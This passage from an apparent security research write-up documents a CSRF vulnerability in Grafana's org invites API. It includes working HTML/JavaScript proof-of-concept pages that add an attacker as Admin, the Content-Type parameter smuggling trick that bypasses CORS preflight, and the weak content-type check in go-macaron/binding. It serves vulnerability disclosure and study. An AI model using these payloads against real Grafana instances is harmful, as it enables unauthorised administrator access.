</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;fieldNames&#34;</span>: [<span style="color:#e6db74">&#34;LoginOrEmail&#34;</span>],
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;classification&#34;</span>: <span style="color:#e6db74">&#34;RequiredError&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;message&#34;</span>:<span style="color:#e6db74">&#34;Required&#34;</span>
</span></span><span style="display:flex;"><span>}]
</span></span></code></pre></div><p>This error message was a bit puzzling to us,
because the <code>loginOrEmail</code> field was present in the body of our forged request.
Overriding the form&rsquo;s default <code>enctype</code> with <code>multipart/form-data</code> yielded the same response.
An <code>enctype</code> of <code>text/plain</code> yielded a <code>415 Unsupported Media Type</code>, though.
Interesting&hellip; Was that a sign that the Grafana API only accepted JSON requests?
The next step in our black-box tests involved using the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch" target="_blank" rel="noopener">Fetch API</a>
to issue a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests" target="_blank" rel="noopener"><em>simple</em> request</a> with a valid JSON body:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!doctype html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">csrf</span>(<span style="color:#a6e22e">name</span>, <span style="color:#a6e22e">email</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://localhost:3000/api/org/invites&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;name&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">name</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;loginOrEmail&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">email</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;role&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Admin&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;sendEmail&#34;</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">opts</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;POST&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">mode</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;no-cors&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;include&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#a6e22e">data</span>)
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">url</span>, <span style="color:#a6e22e">opts</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">csrf</span>(<span style="color:#e6db74">&#34;attacker&#34;</span>, <span style="color:#e6db74">&#34;attacker@example.com&#34;</span>);
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>The corresponding response was, like the form-based attack with <code>text/plain</code>,
a <code>415 Unsupported Media Type</code>. Evidently, the Grafana API was performing some
validation of requests&rsquo; content type.
To confirm our intuition, we pasted the following code—pay attention to line 13—in
the Console tab of the browser window in which we were authenticated to Grafana:</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span></span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">csrf</span>(<span style="color:#a6e22e">name</span>, <span style="color:#a6e22e">email</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://localhost:3000/api/org/invites&#34;</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;name&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">name</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;loginOrEmail&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">email</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;role&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Admin&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;sendEmail&#34;</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">opts</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;POST&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mode</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;no-cors&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;include&#34;</span>,
</span></span><span style="display:flex; background-color:#3c3d38"><span>    <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {<span style="color:#e6db74">&#34;Content-Type&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;application/json&#34;</span>},
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#a6e22e">data</span>)
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">url</span>, <span style="color:#a6e22e">opts</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">csrf</span>(<span style="color:#e6db74">&#34;attacker&#34;</span>, <span style="color:#e6db74">&#34;attacker@example.com&#34;</span>);</span></span></code></pre></td></tr></table>
</div>
</div>
<p>The response was a <code>200 OK</code>, and our hearts sank&hellip;
This response confirmed our suspicion that
the API was expecting a content type of <code>application/json</code>, or at least something like it.
Because we were executing the attack in the context of our Grafana instance&rsquo;s Web origin,
the attack was successful,
but we knew that things wouldn&rsquo;t be quite as simple if the same attack were
performed from a different (even if same-site) origin.</p>
<p>Why? Because, according to the <a href="https://fetch.spec.whatwg.org/#simple-header" target="_blank" rel="noopener">Fetch standard</a>,
a value of <code>application/json</code> for the content type of a cross-origin request
is indeed such as to cause browsers to trigger <a href="https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request" target="_blank" rel="noopener">CORS preflight</a>;
and Grafana, <a href="https://community.grafana.com/t/how-to-allow-access-control-allow-origin-for-all-the-apis/2045" target="_blank" rel="noopener">much to the chagrin of some of its users</a>,
is not configured or configurable for CORS.
Therefore, CORS preflight would fail,
and the browser would never send the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#preflighted_requests" target="_blank" rel="noopener">actual (malicious) request</a>.
We had seemingly hit a brick wall&hellip; but there was one last glimmer of hope!</p>
<p>You may have read that including a <code>Content-Type</code> header with a value other than</p>
<ul>
<li><code>application/x-www-form-urlencoded</code>,</li>
<li><code>multipart/form-data</code>, or</li>
<li><code>text/plain</code></li>
</ul>
<p>in a request will trigger CORS preflight.
In fact, until recently,
such an authoritative source as <a href="https://github.com/mdn/content/pull/11077" target="_blank" rel="noopener">MDN Web Docs stated as much</a>.
Over the years, this statement has been repeatedly echoed verbatim on the Web,
including in some <a href="https://stackoverflow.com/a/29954326" target="_blank" rel="noopener">highly upvoted answers on Stack Overflow</a>.</p>
<p>However, this statement is incorrect;
the Fetch standard only requires that the <a href="https://mimesniff.spec.whatwg.org/#mime-type-essence" target="_blank" rel="noopener"><em>essence</em> of the MIME type</a>
specified as the request&rsquo;s content type be one of those three values.
A little known fact is that
you can actually smuggle additional stuff
in the <a href="https://mimesniff.spec.whatwg.org/#parameters" target="_blank" rel="noopener">MIME type&rsquo;s <em>parameters</em></a>
without triggering CORS preflight.
And if the server&rsquo;s content-type validation happens to be weak,
an attacker can use this smuggling trick to bypass it.</p>
<p>With our fingers crossed, we modified our same-site attack
and implemented this trick (see line 20):</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span></span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!doctype html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">csrf</span>(<span style="color:#a6e22e">name</span>, <span style="color:#a6e22e">email</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://localhost:3000/api/org/invites&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;name&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">name</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;loginOrEmail&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">email</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;role&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Admin&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;sendEmail&#34;</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">opts</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;POST&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">mode</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;no-cors&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;include&#34;</span>,
</span></span><span style="display:flex; background-color:#3c3d38"><span>          <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {<span style="color:#e6db74">&#34;Content-Type&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;text/plain; application/json&#34;</span>},
</span></span><span style="display:flex;"><span>          <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#a6e22e">data</span>)
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">url</span>, <span style="color:#a6e22e">opts</span>);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">csrf</span>(<span style="color:#e6db74">&#34;attacker&#34;</span>, <span style="color:#e6db74">&#34;attacker@example.com&#34;</span>);
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;</span></span></code></pre></td></tr></table>
</div>
</div>
<p>We got a <code>200 OK</code> response,
and the <code>/org/users</code> page listed a new invite in the attacker&rsquo;s name!
Success!</p>
<p>Before reporting our findings to Grafana,
we decided to dig deeper and inspect <a href="https://github.com/grafana/grafana" target="_blank" rel="noopener">Grafana&rsquo;s codebase</a>
to understand what exactly was going on.
Grafana, up until <a href="https://github.com/grafana/grafana/releases/tag/v8.3.2" target="_blank" rel="noopener">v8.3.2</a>,
relied on <a href="https://github.com/go-macaron/binding" target="_blank" rel="noopener">go-macaron/binding</a> to process requests.
Here is the <a href="https://github.com/go-macaron/binding/blob/master/binding.go#L37" target="_blank" rel="noopener">relevant function</a>, named <code>bind</code>:</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span></span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">bind</span>(<span style="color:#a6e22e">ctx</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">macaron</span>.<span style="color:#a6e22e">Context</span>, <span style="color:#a6e22e">obj</span> <span style="color:#66d9ef">interface</span>{}, <span style="color:#a6e22e">ifacePtr</span> <span style="color:#f92672">...</span><span style="color:#66d9ef">interface</span>{}) {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">contentType</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">Req</span>.<span style="color:#a6e22e">Header</span>.<span style="color:#a6e22e">Get</span>(<span style="color:#e6db74">&#34;Content-Type&#34;</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">Req</span>.<span style="color:#a6e22e">Method</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;POST&#34;</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">Req</span>.<span style="color:#a6e22e">Method</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;PUT&#34;</span> <span style="color:#f92672">||</span> len(<span style="color:#a6e22e">contentType</span>) &gt; <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">switch</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> <span style="color:#a6e22e">strings</span>.<span style="color:#a6e22e">Contains</span>(<span style="color:#a6e22e">contentType</span>, <span style="color:#e6db74">&#34;form-urlencoded&#34;</span>):
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">Invoke</span>(<span style="color:#a6e22e">Form</span>(<span style="color:#a6e22e">obj</span>, <span style="color:#a6e22e">ifacePtr</span><span style="color:#f92672">...</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> <span style="color:#a6e22e">strings</span>.<span style="color:#a6e22e">Contains</span>(<span style="color:#a6e22e">contentType</span>, <span style="color:#e6db74">&#34;multipart/form-data&#34;</span>):
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">Invoke</span>(<span style="color:#a6e22e">MultipartForm</span>(<span style="color:#a6e22e">obj</span>, <span style="color:#a6e22e">ifacePtr</span><span style="color:#f92672">...</span>))
</span></span><span style="display:flex; background-color:#3c3d38"><span>    <span style="color:#66d9ef">case</span> <span style="color:#a6e22e">strings</span>.<span style="color:#a6e22e">Contains</span>(<span style="color:#a6e22e">contentType</span>, <span style="color:#e6db74">&#34;json&#34;</span>):
</span></span><span style="display:flex; background-color:#3c3d38"><span>      <span style="color:#a6e22e">ctx</span>.<span style="color:#a6e22e">Invoke</span>(<span style="color:#a6e22e">Json</span>(<span style="color:#a6e22e">obj</span>, <span style="color:#a6e22e">ifacePtr</span><span style="color:#f92672">...</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">default</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">errors</span> <span style="color:#a6e22e">Errors</span>
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">contentType</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> {
